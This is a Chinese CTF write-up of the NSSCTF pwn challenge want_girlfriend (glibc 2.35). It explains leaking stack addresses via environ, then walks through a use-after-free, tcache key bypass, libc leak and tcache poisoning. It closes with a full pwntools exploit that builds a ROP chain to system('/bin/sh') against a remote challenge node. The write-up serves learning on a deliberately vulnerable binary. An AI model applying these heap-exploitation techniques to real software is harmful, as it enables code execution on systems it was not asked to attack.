0x00 Background

笔者打nssctf上的一题,记录一下。
pwn攻击不应该孤立的看。换句话说,要无所不用其极,哪种攻击好使就用哪种。现在就来浅浅分析一下在堆中对栈的攻击。(手法很多,后面慢慢学慢慢补充吧

0x01 利用environ变量

以下调试以[NSSRound#21Basic]want_girlfriend(glibc2.35)的程序来演示。
在linux环境下,程序存在一个全局变量(char**)environ,位于 libc 数据段,与 libc_base 存在固定偏移

1
environ_addr=libcbase+libc.sym["environ"]

environ指向一个指针数组,数组中每个指针指向一个环境变量字符串,而环境变量字符串是位于栈区的。

1
2
3
4
pwndbg> p &environ
$1 = (<data variable, no debug info> *) 0x7ffff7e22200 <environ>
pwndbg> x/gx 0x7ffff7e22200
0x7ffff7e22200 <environ>: 0x00007fffffffdfb8

这样我们知道了environ的值,我们到栈区看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
2e:0170│+148 0x7fffffffdfb8 —▸ 0x7fffffffe27b ◂— 'SHELL=/bin/bash'
2f:0178│+150 0x7fffffffdfc0 —▸ 0x7fffffffe28b ◂— 'WSL2_GUI_APPS_ENABLED=1'
30:0180│+158 0x7fffffffdfc8 —▸ 0x7fffffffe2a3 ◂— 'WSL_DISTRO_NAME=Ubuntu-22.04'
31:0188│+160 0x7fffffffdfd0 —▸ 0x7fffffffe2c0 ◂— 'WT_SESSION=1c2e66a8-92b1-4c76-b525-e18b94cf4188'
32:0190│+168 0x7fffffffdfd8 —▸ 0x7fffffffe2f0 ◂— 'NAME=LAPTOP-6JKPOVPE'
33:0198│+170 0x7fffffffdfe0 —▸ 0x7fffffffe305 ◂— 'PWD=/home/turing/girlfriend'
34:01a0│+178 0x7fffffffdfe8 —▸ 0x7fffffffe321 ◂— 'LOGNAME=turing'
35:01a8│+180 0x7fffffffdff0 —▸ 0x7fffffffe330 ◂— '_=/usr/bin/gdb'
36:01b0│+188 0x7fffffffdff8 —▸ 0x7fffffffe33f ◂— 'LINES=40'
37:01b8│+190 0x7fffffffe000 —▸ 0x7fffffffe348 ◂— 'HOME=/home/turing'
38:01c0│+198 0x7fffffffe008 —▸ 0x7fffffffe35a ◂— 'LANG=C.UTF-8'
39:01c8│+1a0 0x7fffffffe010 —▸ 0x7fffffffe367 ◂— 'WSL_INTEROP=/run/WSL/398_interop'
3a:01d0│+1a8 0x7fffffffe018 —▸ 0x7fffffffe388 ◂— 0x524f4c4f435f534c ('LS_COLOR')
3b:01d8│+1b0 0x7fffffffe020 —▸ 0x7fffffffe977 ◂— 'COLUMNS=144'

发现0x00007fffffffdfb8正是指向栈上的环境变量的二级指针。且环境变量指针数组也是位于栈上的。那么我们便可以通过泄露environ的值来泄露栈地址了。
我们在main下个断点,然后查看main函数的返回地址处

1
2
3
pwndbg> stack
00:0000│ rbp rsp 0x7fffffffde90 ◂— 1
01:0008│+008 0x7fffffffde98 —▸ 0x7ffff7c29d90 ◂— mov edi, eax

rbp+0x08处,正是在0x7fffffffde98。显然其与environ的值的偏移是固定的,其他函数同样如此。这样我们便可以利用泄露的environ地址来对函数返回地址进行读写,来进行我们熟悉的 ROP 操作劫持程序执行流。

0x02 利用残留的栈上数据

当程序从栈向堆复制数据时候,可能会将栈上残留的栈地址带入堆中。
例如,strcpy()函数,无长度检查,遇到\x00停止复制,如果程序从栈上 buf 区向 chunk 复制数据,我们向 buf 输入非\x00数据,经过调试来将栈上地址copy到 chunk 中。

0x03 利用_IO_FILE

可以通过打stdout任意地址读来读出栈地址

0x04 [NSSRound#21Basic]want_girlfriend

菜单题64位保护全开,先放题目各选项源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
__int64 creat()
{
int v1; // [rsp+Ch] [rbp-34h] BYREF
char buf[40]; // [rsp+10h] [rbp-30h] BYREF
unsigned __int64 v3; // [rsp+38h] [rbp-8h]

v3 = __readfsqword(0x28u);
if ( flag == 1 )
{
puts("no,You can only have one girlfriend!!!");
return 0LL;
}
else
{
while ( 1 )
{
puts("Please input her height:");
__isoc99_scanf("%d", &v1);
if ( v1 > 140 && v1 <= 259 )
break;
puts("Are you sure???");
}
new = (char *)malloc(v1);
if ( !new )
exit(0);
puts("Please input her name");
read(0, buf, 0x10uLL);
strcpy(new, buf);
puts("Plese input her describe");
read(0, buf, 0x20uLL);
strcpy(new + 16, buf);
return (unsigned int)++flag;
}
}

先read到栈上再strcpy到chunk。限制size为140-259.用flag记录chunk数量,只允许flag小于1时申请chunk。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int show()
{
__int64 v0; // rax

printf("Your girlfriend is ");
write(1, new, 0x10uLL);
putchar(10);
printf("she is ");
write(1, new + 16, 0x20uLL);
putchar(10);
v0 = *((_QWORD *)new + 6);
if ( v0 )
{
printf("Your love: ");
write(1, new + 48, 0x20uLL);
LODWORD(v0) = putchar(10);
}
return v0;
}

write 打印堆上数据,不用担心\x00截断,同时可以打印 chunk+0x30 处数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
unsigned __int64 abandon()
{
char buf[4]; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("Are you sure you want to abandon her now???");
read(0, buf, 3uLL);
if ( buf[0] == 89 )
free(new);
else
puts("If you leave, I will life and death dependency.");
--flag;
return v2 - __readfsqword(0x28u);
}

free 没有清指针,可以 uaf,且不检查 double free。还可以不 free 任何chunk。flag 自减。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int love()
{
int result; // eax

if ( !new )
return puts("???");
if ( flag <= 0 )
{
puts("If you abandon her, the best love is forgetting");
*(_QWORD *)new = 0LL;
*((_QWORD *)new + 1) = 0LL;
result = (_DWORD)new + 16;
*((_QWORD *)new + 2) = 0LL;
}
else
{
puts("Please input your love");
return read(0, new + 56, 0x20uLL);
}
return result;
}

flag小于等于0时可以将chunk内前0x18全部置0。flag>0时可以向chunkmem+0x38处写数据。
到这里笔者起初是想劫持tcache_perthread_struct,但此题是高版本glibc2.35counts数组较长(0x80),我们的可写数据的chunk区域只有creat函数提供的的前0x30,以及love函数提供的mem+0x38mem+0x58处。无法写到tcache->entries数组。
但是笔者又设想可以修改counts数组来方便的将chunk投入unsorted bin来泄露libc。但是在具体操作时总是失败。因为可写区域的限制,修改不到0x290size的chunk(也就是tcache_perthread_struct)对应的counts数组元素。而如果要为其他size的chunk改写counts成员,来伪装填满tcachebins,又需要额外申请chunk。还不如直接连续free七次来简单粗暴的填满tcache
在此版本中有tcache->key来防御double free,但是注意到 love 函数可以将chunk清零来破坏key字段,可行。于是就可以将chunk投入unsorted bin来泄露libc。这里注意,只有tcache->counts中的数据大于0时才能从对应tcachebin中申请到chunk,所以double free 的时候我们要多free一次。
然后glibc2.35,第一时间想到接着打tcache。可以进行tcache poisoning,存在safe-linking,但也可以绕过,那么任意地址读写实现了,接着如果getshell呢?由于hooks的移除,那么攻击面进一步缩小。笔者这里自然也是想到了打ROP(也可以打IO)。既然要打ROP,栈上地址可以通过environ变量泄露。后来看其他师傅的wp,发现也可以利用strcpy()来带出栈上地址。
同时考虑到canary,再去绕过canary的话就太累了,我们很快发现love函数并没有canary,可以覆盖love函数的返回地址。然后rop链可以用love函数注入
ok分析完毕,直接放exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
from pwn import*
context.os='linux'
context.arch='amd64'
context.log_level='debug'

io=remote('node4.anna.nssctf.cn',28949)
#io=process('./[NSSRound21Basic]want_girlfriend')
#gdb.attach(io)
libc=ELF('./libc.so.6')
e=ELF('./[NSSRound21Basic]want_girlfriend')

def creat(size,content1,content2): #content1:0x10 content2:0x20 content1->new content2->new+0x10
io.sendlineafter(b'choice: \n',b'1')
io.sendlineafter(b'height:\n',str(size))
io.sendlineafter(b'name\n',content1)
io.sendlineafter(b'describe\n',content2)

def free():
io.sendlineafter(b'choice: \n',b'2')
io.sendlineafter(b'now???\n',b'Y')

def fake_free():
io.sendlineafter(b'choice: \n',b'2')
io.sendlineafter(b'now???\n',b'N')

def show(): #new(0x10) new+0x10(0x20) if(new+0x30) new+0x30(0x20)
io.sendlineafter(b'choice: \n',b'3')

def love_inject(content): #content 0x20 new+0x38
io.sendlineafter(b'choice: \n',b'520')
io.sendlineafter(b'love\n',content)

def love_destory_key():
io.sendlineafter(b'choice: \n',b'520')

creat(0x90,b'w',b'w') #1
free() #0
show()
io.recvuntil(b"Your girlfriend is ")
heap_base=u64(io.recv(8))<<12
log.success(hex(heap_base))

creat(0xc0,b'w',b'w') #1
free() #0
creat(0x90,b'w',b'w') #1
for i in range(7):
free()
love_destory_key()
free() # in unsortedbin flag=-6
show()
io.recvuntil(b"Your girlfriend is ")
main_arena=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-96 #main_arena与unsortedbin的偏移在高版本为96
log.success(hex(main_arena))
libcbase=main_arena-0x21ac80 #ida分析给出的libc.so.6中的malloc_trim函数中得到偏移
log.success(hex(libcbase))

#onegadget_offset=0xebc81 #最初眼花了以为got表可写,还想打one_gadget(
#getshell=libcbase+onegadget_offset

environ_add=libcbase+libc.sym["environ"] #offset with love return = 0x140,调试得到
sys_add=libcbase+libc.sym["system"]

creat(0xb0,b'w',b'w') #-5
free() #-6
love_destory_key()
free() #-7
love_destory_key()
free() #-8 只有tcache->counts中的数据大于0时才能从对应tcachebin中申请到chunk,所以double free的时候我们要多free一次
creat(0xb0,p64((heap_base>>12)^(environ_add-0x30)),b'w') #-7
creat(0xb0,p64((heap_base>>12)^(environ_add-0x30)),b'w') #-6
creat(0xb0,b'a'*0x8,b'b'*0x18) #-5 (environ-0x30) chunk
show()
io.recvuntil(b'a')
io.recvuntil(b'b')
io.recvuntil(b'Your love: ')
love_ret=u64(io.recvuntil(b'\x7f').ljust(8,b'\x00'))-0x140
log.success(hex(love_ret))

sh_add=libcbase+next(libc.search(b"/bin/sh"))
pop_rdi_ret=libcbase+0x02a3e5
ret=libcbase+0x029139

creat(0xa0,b'w',b'w') #-4
free() #-5
love_destory_key()
free() #-6
love_destory_key()
free() #-7
creat(0xa0,p64((heap_base>>12)^(love_ret-0x38)),b'w') #-6
creat(0xa0,p64((heap_base>>12)^(love_ret-0x38)),b'w') #-5
rop_chain=p64(ret)+p64(pop_rdi_ret)+p64(sh_add)+p64(sys_add)
for i in range(6):
creat(0xd0,b'\x00',b'\x00') #0
creat(0xa0,b'\x00',b'\x00') #1
love_inject(rop_chain)

io.interactive()